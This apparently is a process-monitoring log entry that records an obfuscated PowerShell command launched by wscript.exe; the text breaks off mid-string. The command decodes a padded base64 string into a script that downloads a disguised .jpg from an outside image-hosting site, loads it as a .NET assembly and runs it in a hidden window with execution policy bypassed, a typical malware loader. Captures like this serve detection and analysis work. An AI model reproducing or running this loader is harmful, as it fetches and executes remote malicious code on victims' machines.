'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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process powershell -command "$Codigo = 'KQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmEsQfxHzcLOqmUQBrQfxHzcLOqmGkQfxHzcLOqmbQQfxHzcLOqmnQfxHzcLOqmCsQfxHzcLOqmJwBhQfxHzcLOqmGcQfxHzcLOqmZQBVQfxHzcLOqmHIQfxHzcLOqmbQfxHzcLOqmQfxHzcLOqmgQfxHzcLOqmD0QfxHzcLOqmIQfxHzcLOqmBaQfxHzcLOqmGwQfxHzcLOqmaQBoQfxHzcLOqmHQQfxHzcLOqmdQfxHzcLOqmBwQfxHzcLOqmHMQfxHzcLOqmOgQfxHzcLOqmvQfxHzcLOqmC8QfxHzcLOqmdQBwQfxHzcLOqmGwQfxHzcLOqmbwBhQfxHzcLOqmGQQfxHzcLOqmZQfxHzcLOqmBlQfxHzcLOqmGkQfxHzcLOqmbQBhQfxHzcLOqmGcQfxHzcLOqmZQBuQfxHzcLOqmHMQfxHzcLOqmLgBjQfxHzcLOqmG8QfxHzcLOqmbQQfxHzcLOqmuQfxHzcLOqmGIQfxHzcLOqmcgQfxHzcLOqmvQfxHzcLOqmGkQfxHzcLOqmbQBhQfxHzcLOqmGcQfxHzcLOqmZQBzQfxHzcLOqmC8QfxHzcLOqmMQfxHzcLOqmQfxHzcLOqmwQfxHzcLOqmDQQfxHzcLOqmLwQfxHzcLOqm2QfxHzcLOqmDUQfxHzcLOqmNQfxHzcLOqmQfxHzcLOqmvQfxHzcLOqmDUQfxHzcLOqmMwQfxHzcLOqm2QfxHzcLOqmC8QfxHzcLOqmbwByQfxHzcLOqmGkQfxHzcLOqmZwBpQfxHzcLOqmG4QfxHzcLOqmYQBsQfxHzcLOqmC8QfxHzcLOqmbgBlQfxHzcLOqmHcQfxHzcLOqmXwBpQfxHzcLOqmG0QfxHzcLOqmYQBnQfxHzcLOqmGUQfxHzcLOqmLgBqQfxHzcLOqmHQfxHzcLOqmQfxHzcLOqmZwQfxHzcLOqm/QfxHzcLOqmDEQfxHzcLOqmNgQfxHzcLOqm5QfxHzcLOqmDgQfxHzcLOqmOQQfxHzcLOqm1QfxHzcLOqmDcQfxHzcLOqmNwQfxHzcLOqm1QfxHzcLOqmDQfxHzcLOqmQfxHzcLOqmWgBsQfxHzcLOqmGkQfxHzcLOqmOwBLQfxHzcLOqmFEQfxHzcLOqmawB3QfxHzcLOqmGUQfxHzcLOqmYgBDQfxHzcLOqmGwQfxHzcLOqmaQBlQfxHzcLOqmG4QfxHzcLOqmdQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmCsQfxHzcLOqmJwQfxHzcLOqmgQfxHzcLOqmD0QfxHzcLOqmIQfxHzcLOqmBOQfxHzcLOqmGUQfxHzcLOqmdwQfxHzcLOqmtQfxHzcLOqmE8QfxHzcLOqmYgBqQfxHzcLOqmGUQfxHzcLOqmYwB0QfxHzcLOqmCQfxHzcLOqmQfxHzcLOqmUwB5QfxHzcLOqmHMQfxHzcLOqmdQfxHzcLOqmBlQfxHzcLOqmG0QfxHzcLOqmLgBOQfxHzcLOqmGUQfxHzcLOqmdQfxHzcLOqmQfxHzcLOqmuQfxHzcLOqmFcQfxHzcLOqmZQBiQfxHzcLOqmEMQfxHzcLOqmbQfxHzcLOqmBpQfxHzcLOqmGUQfxHzcLOqmbgB0QfxHzcL